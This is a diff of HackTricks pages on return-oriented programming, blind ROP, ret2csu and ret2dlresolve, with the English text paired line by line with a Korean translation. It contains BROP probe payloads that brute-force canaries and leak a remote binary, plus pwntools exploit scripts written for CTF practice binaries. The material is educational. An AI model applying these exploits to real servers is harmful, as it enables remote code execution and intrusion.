- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 보호 조치는 가젯의 주소가 실행 간에 변경되므로 ROP 사용을 더 어렵게 만듭니다.
- [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/): BOF의 경우, ROP 체인을 악용하기 위해 반환 포인터를 덮어쓰려면 스택 카나리를 우회해야 합니다.
- **가젯 부족**: 가젯이 충분하지 않으면 ROP 체인을 생성할 수 없습니다.
## ROP based techniques
## ROP 기반 기술
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
ROP는 임의의 코드를 실행하기 위한 기술일 뿐입니다. ROP를 기반으로 많은 Ret2XXX 기술이 개발되었습니다:
- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
- **Ret2lib**: ROP를 사용하여 로드된 라이브러리에서 임의의 함수와 임의의 매개변수(보통 `system('/bin/sh')`와 같은)를 호출합니다.
{{#ref}}
ret2lib/
{{#endref}}
- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
- **Ret2Syscall**: ROP를 사용하여 `execve`와 같은 시스템 호출을 준비하고 임의의 명령을 실행하게 합니다.
{{#ref}}
rop-syscall-execv/
{{#endref}}
- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
- **EBP2Ret & EBP 체이닝**: 첫 번째는 흐름을 제어하기 위해 EIP 대신 EBP를 악용하고, 두 번째는 Ret2lib와 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다(물론 EIP도 제어해야 합니다).
{{#ref}}
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
{{#endref}}
## Other Examples & References
## 기타 예제 및 참고 자료
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
- 64비트, Pie 및 nx 활성화, 카나리 없음, `vsyscall` 주소로 RIP를 덮어쓰고 스택의 다음 주소로 반환하는 유일한 목적
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, ASLR 없음, 스택을 실행 가능하게 만들고 스택의 셸코드로 점프하기 위한 ROP 가젯
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,123 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
This attack is based on the following scenario:
이 공격의 목표는 **취약한 바이너리에 대한 정보 없이 버퍼 오버플로우를 통해 ROP를 악용하는 것**입니다.\
이 공격은 다음 시나리오를 기반으로 합니다:
- A stack vulnerability and knowledge of how to trigger it.
- A server application that restarts after a crash.
- 스택 취약점과 이를 유발하는 방법에 대한 지식.
- 충돌 후 재시작되는 서버 애플리케이션.
## Attack
## 공격
### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
### **1. 취약한 오프셋 찾기** 서버의 오작동이 감지될 때까지 한 문자를 더 전송합니다.
### **2. Brute-force canary** to leak it
### **2. 카나리 무차별 대입** 이를 유출합니다.
### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
### **3. 스택에 저장된 RBP 및 RIP** 주소를 무차별 대입하여 유출합니다.
You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
이 프로세스에 대한 더 많은 정보는 [여기 (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)와 [여기 (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)에서 찾을 수 있습니다.
### **4. Find the stop gadget**
### **4. 정지 가젯 찾기**
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
이 가젯은 기본적으로 ROP 가젯에 의해 흥미로운 것이 실행되었음을 확인할 수 있게 해줍니다. 실행이 충돌하지 않았기 때문입니다. 일반적으로 이 가젯은 **실행을 중지하는** 것이며, 특정 ROP 가젯이 실행되었음을 확인하기 위해 ROP 체인의 끝에 위치합니다.
### **5. Find BROP gadget**
### **5. BROP 가젯 찾기**
This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
이 기술은 [**ret2csu**](ret2csu.md) 가젯을 사용합니다. 이는 이 가젯에 접근하면 **`rsi`**와 **`rdi`**를 제어할 수 있는 가젯을 얻기 때문입니다:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
These would be the gadgets:
이것들이 가젯입니다:
- `pop rsi; pop r15; ret`
- `pop rdi; ret`
Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
이 가젯을 사용하면 함수 호출의 **2개의 인자를 제어할 수** 있음을 주목하세요.
Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
또한, ret2csu 가젯은 **매우 독특한 서명**을 가지고 있습니다. 왜냐하면 스택에서 6개의 레지스터를 팝하기 때문입니다. 따라서 다음과 같은 체인을 전송합니다:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
**STOP이 실행되면**, 이는 기본적으로 **스택에서 6개의 레지스터를 팝하는 주소**가 사용되었음을 의미합니다. 또는 사용된 주소가 또한 STOP 주소였음을 의미합니다.
In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
이 마지막 옵션을 **제거하기 위해** 다음과 같은 새로운 체인이 실행되며, 이전 체인이 6개의 레지스터를 팝했음을 확인하기 위해 STOP 가젯을 실행하지 않아야 합니다:
`'A' * offset + canary + rbp + ADDR`
Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
ret2csu 가젯의 주소를 알고 있으면 **`rsi``rdi`를 제어할 가젯의 주소를 유추할 수** 있습니다.
### 6. Find PLT
### 6. PLT 찾기
The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
PLT 테이블은 0x400000 또는 스택에서 **유출된 RIP 주소**에서 검색할 수 있습니다(만약 **PIE**가 사용되고 있다면). 테이블의 **항목**은 **16B**(0x10B)로 **구분되어 있으며**, 하나의 함수가 호출될 때 인자가 올바르지 않더라도 서버는 충돌하지 않습니다. 또한, **PLT + 6B의 주소를 확인해도 충돌하지 않습니다**. 이는 첫 번째 코드가 실행되기 때문입니다.
Therefore, it's possible to find the PLT table checking the following behaviours:
따라서 다음 동작을 확인하여 PLT 테이블을 찾을 수 있습니다:
- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
- `'A' * offset + canary + rbp + ADDR + STOP` -> 충돌 없음
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> 충돌 없음
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> 충돌 없음
### 7. Finding strcmp
### 7. strcmp 찾기
The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
**`strcmp`** 함수는 비교되는 문자열의 길이를 **`rdx`** 레지스터에 설정합니다. **`rdx`**는 **세 번째 인자**이며, 나중에 프로그램을 유출하기 위해 **0보다 커야** 합니다.
It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
이제 함수의 첫 두 인자를 제어할 수 있는 사실을 이용하여 PLT에서 **`strcmp`**의 위치를 찾을 수 있습니다:
- strcmp(\<non read addr>, \<non read addr>) -> crash
- strcmp(\<non read addr>, \<read addr>) -> crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- strcmp(\<read addr>, \<read addr>) -> no crash
- strcmp(\<non read addr>, \<non read addr>) -> 충돌
- strcmp(\<non read addr>, \<read addr>) -> 충돌
- strcmp(\<read addr>, \<non read addr>) -> 충돌
- strcmp(\<read addr>, \<read addr>) -> 충돌 없음
It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
이것은 PLT 테이블의 각 항목을 호출하거나 **PLT 느린 경로**를 사용하여 확인할 수 있습니다. 이는 기본적으로 **PLT 테이블의 항목을 호출한 후 + 0xb** (이는 **`dlresolve`**를 호출함)이며, 스택에서 **탐색하고자 하는 항목 번호**(0부터 시작)를 뒤따릅니다:
- strcmp(\<non read addr>, \<read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> no crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<non read addr>, \<read addr>) -> 충돌
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> 충돌 발생
- strcmp(\<read addr>, \<non read addr>) -> 충돌
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> 충돌 없음
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Remember that:
기억하세요:
- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
- BROP + 0x9 point to **`pop RDI; ret;`**
- PLT + 0xb point to a call to **dl_resolve**.
- BROP + 0x7**`pop RSI; pop R15; ret;`**를 가리킵니다.
- BROP + 0x9**`pop RDI; ret;`**를 가리킵니다.
- PLT + 0xb**dl_resolve** 호출을 가리킵니다.
Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
`strcmp`를 찾으면 **`rdx`**를 0보다 큰 값으로 설정할 수 있습니다.
> [!TIP]
> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
> 일반적으로 `rdx`는 이미 0보다 큰 값을 가지고 있으므로 이 단계는 필요하지 않을 수 있습니다.
### 8. Finding Write or equivalent
### 8. Write 또는 동등한 것 찾기
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
마지막으로, 바이너리를 유출하기 위해 데이터를 유출하는 가젯이 필요합니다. 이 시점에서 **2개의 인자를 제어하고 `rdx`를 0보다 크게 설정할 수 있습니다.**
There are 3 common funtions taht could be abused for this:
이를 위해 악용할 수 있는 일반적인 함수는 3개가 있습니다:
- `puts(data)`
- `dprintf(fd, data)`
- `write(fd, data, len(data)`
- `write(fd, data, len(data))`
However, the original paper only mentions the **`write`** one, so lets talk about it:
그러나 원본 논문에서는 **`write`** 함수만 언급하므로 이에 대해 이야기하겠습니다:
The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
현재 문제는 **PLT 내부의 write 함수가 어디에 있는지 모르고**, **데이터를 소켓으로 전송할 fd 번호를 모르기** 때문입니다.
However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
하지만 **PLT 테이블이 어디에 있는지 알고 있으며**, 그 **행동**을 기반으로 write를 찾을 수 있습니다. 그리고 우리는 서버와 **여러 연결**을 만들고 **높은 FD**를 사용하여 우리의 연결 중 하나와 일치하기를 희망할 수 있습니다.
Behaviour signatures to find those functions:
이 함수들을 찾기 위한 행동 서명:
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 출력되면, puts가 발견된 것입니다.
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 출력되면, dprintf가 발견된 것입니다.
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 데이터가 출력되면, write가 발견된 것입니다.
## Automatic Exploitation
## 자동 익스플로잇
- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## References
## 참고 문헌
- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- 원본 논문: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,17 @@
##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)기본 정보
**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
**ret2csu**는 프로그램을 제어하려고 할 때 일반적으로 프로그램의 동작을 조작하는 데 사용하는 **gadgets**를 찾을 수 없을 때 사용되는 해킹 기술입니다.
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
프로그램이 특정 라이브러리(예: libc)를 사용할 때, 프로그램의 다양한 부분이 서로 통신하는 방식을 관리하기 위한 몇 가지 내장 함수가 있습니다. 이러한 함수 중에는 특히 `__libc_csu_init`이라는 이름의 누락된 gadgets 역할을 할 수 있는 숨겨진 보석들이 있습니다.
### The Magic Gadgets in \_\_libc_csu_init
### \_\_libc_csu_init의 마법의 Gadgets
In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
**`__libc_csu_init`**에는 강조할 두 가지 명령어 시퀀스(gadgets)가 있습니다:
1. 첫 번째 시퀀스는 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있게 해줍니다. 이들은 나중에 사용하고자 하는 숫자나 주소를 저장할 수 있는 슬롯과 같습니다.
```armasm
pop rbx;
pop rbp;
@ -25,22 +24,18 @@ pop r14;
pop r15;
ret;
```
이 장치는 스택에서 값을 꺼내어 이러한 레지스터를 제어할 수 있게 해줍니다.
This gadget allows us to control these registers by popping values off the stack into them.
2. The second sequence uses the values we set up to do a couple of things:
- **Move specific values into other registers**, making them ready for us to use as parameters in functions.
- **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
2. 두 번째 시퀀스는 우리가 설정한 값을 사용하여 몇 가지 작업을 수행합니다:
- **특정 값을 다른 레지스터로 이동**시켜 함수의 매개변수로 사용할 준비를 합니다.
- **r15와 rbx의 값을 더한 후 rbx에 8을 곱하여** 결정된 위치로 호출을 수행합니다.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
3. 아마도 거기에 쓸 주소를 모를 것이고 **`ret` 명령어가 필요합니다**. 두 번째 가젯도 **`ret`로 끝나지만**, 그것에 도달하기 위해서는 몇 가지 **조건을 충족해야 합니다**:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -52,50 +47,46 @@ jnz <func>
...
ret
```
조건은 다음과 같습니다:
The conditions will be:
- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
- If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
- `[r12 + rbx*8]`는 호출 가능한 함수가 저장된 주소를 가리켜야 합니다 (아이디어가 없고 pie가 없다면, 그냥 `_init` 함수를 사용할 수 있습니다):
- 만약 \_init이 `0x400560`에 있다면, GEF를 사용하여 메모리에서 그것에 대한 포인터를 검색하고 `[r12 + rbx*8]`가 \_init에 대한 포인터가 있는 주소가 되도록 하십시오:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
- `rbp``rbx`는 점프를 피하기 위해 동일한 값을 가져야 합니다.
- 고려해야 할 생략된 pop이 있습니다.
- `rbp` and `rbx` must have the same value to avoid the jump
- There are some omitted pops you need to take into account
## RDI와 RSI
## RDI and RSI
Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
ret2csu 가젯에서 **`rdi`**와 **`rsi`**를 제어하는 또 다른 방법은 특정 오프셋에 접근하는 것입니다:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Check this page for more info:
자세한 정보는 이 페이지를 확인하세요:
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
## Example
## 예시
### Using the call
### 호출 사용
Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
syscall을 하거나 `write()`와 같은 함수를 호출하고 싶지만 `rdx``rsi` 레지스터에 특정 값이 필요하다고 가정해 보겠습니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만, 찾을 수 없습니다.
Here's where **ret2csu** comes into play:
여기서 **ret2csu**가 등장합니다:
1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 pop하여 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), r15에 넣습니다.
2. **두 번째 가젯 사용**: 이러한 레지스터가 설정되면 두 번째 가젯을 사용합니다. 이를 통해 선택한 값을 `rdx``rsi`(각각 r14와 r13에서)로 이동시켜 함수 호출을 위한 매개변수를 준비합니다. 또한 `r15``rbx`를 제어하여 프로그램이 계산한 주소에 있는 함수를 호출하도록 할 수 있습니다. 이 주소는 `[r15 + rbx*8]`에 배치됩니다.
이 기술을 사용한 [**예시와 설명이 여기에 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), 그리고 이것이 사용된 최종 익스플로잇입니다:
```python
from pwn import *
@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
> 이전 익스플로잇은 **`RCE`**를 수행하기 위한 것이 아니라, **`win`**이라는 함수를 호출하기 위한 것입니다(ROP 체인에서 stdin 호출을 통해 `win`의 주소를 가져와 r15에 저장함) 그리고 세 번째 인수로 값 `0xdeadbeefcafed00d`를 사용합니다.
### Bypassing the call and reaching ret
The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
### 호출 우회 및 ret 도달
다음 익스플로잇은 [**이 페이지**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html)에서 추출되었으며, 여기서 **ret2csu**가 사용되지만 호출을 사용하는 대신 **비교를 우회하고 호출 후 `ret`에 도달합니다:**
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -176,9 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### 왜 그냥 libc를 직접 사용하지 않을까요?
### Why Not Just Use libc Directly?
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때때로 libc에서 직접 찾은 가젯으로 쉽게 제어할 수 있는 것보다 더 많은 매개변수를 제어해야 할 필요가 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수를 필요로 하며, **이 모든 것을 직접 설정할 수 있는 가젯을 찾는 것은 불가능할 수 있습니다**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,36 +4,35 @@
## Basic Information
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 및 [**Relro**](../common-binary-protections-and-bypasses/relro.md)에 대한 페이지에서 설명한 바와 같이, Full Relro가 없는 바이너리는 처음 사용될 때 기호(외부 라이브러리에 대한 주소와 같은)를 해결합니다. 이 해결은 **`_dl_runtime_resolve`** 함수를 호출하여 발생합니다.
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
**`_dl_runtime_resolve`** 함수는 지정된 기호를 **해결**하는 데 필요한 몇 가지 구조체에 대한 참조를 스택에서 가져옵니다.
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
따라서 요청된 기호(예: **`system`** 함수)를 동적으로 연결된 해결을 위해 **이 모든 구조체를 위조**할 수 있으며, 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다.
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
일반적으로 이러한 모든 구조체는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어 위조**됩니다. 그런 다음 **구조체**와 문자열 **`'/bin/sh'`**가 전달되어 읽기에서 알려진 위치에 저장되고, 이후 ROP 체인은 **`_dl_runtime_resolve`**를 호출하여 **가짜 구조체에서 `system`의 주소를 해결**하고 **이 주소를** `$'/bin/sh'`의 주소로 호출합니다.
> [!TIP]
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
> 이 기술은 syscall 가젯이 없고([**ret2syscall**](rop-syscall-execv/) 또는 [SROP](srop-sigreturn-oriented-programming/)와 같은 기술을 사용할 수 없는 경우) libc 주소를 유출할 방법이 없을 때 특히 유용합니다.
Chek this video for a nice explanation about this technique in the second half of the video:
이 기술에 대한 좋은 설명을 비디오 후반부에서 확인하세요:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Or check these pages for a step-by-step explanation:
또는 단계별 설명을 위해 다음 페이지를 확인하세요:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Attack Summary
1. Write fake estructures in some place
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
4. **Call** `_dl_runtime_resolve`
5. **`system`** will be resolved and called with `'/bin/sh'` as argument
From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
1. 가짜 구조체를 어떤 위치에 작성
2. system의 첫 번째 인수 설정 (`$rdi = &'/bin/sh'`)
3. **`_dl_runtime_resolve`**를 호출하기 위해 스택에 구조체의 주소 설정
4. **호출** `_dl_runtime_resolve`
5. **`system`**이 해결되고 `'/bin/sh'`를 인수로 호출됨
[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html)에서, **`ret2dlresolve`** 공격은 다음과 같이 보입니다:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
```
## 예제
## Example
### Pure Pwntools
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
### 순수 Pwntools
여기에서 [**이 기술의 예를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **최종 ROP 체인에 대한 매우 좋은 설명이 포함되어 있습니다**, 하지만 여기 사용된 최종 익스플로잇은 다음과 같습니다:
```python
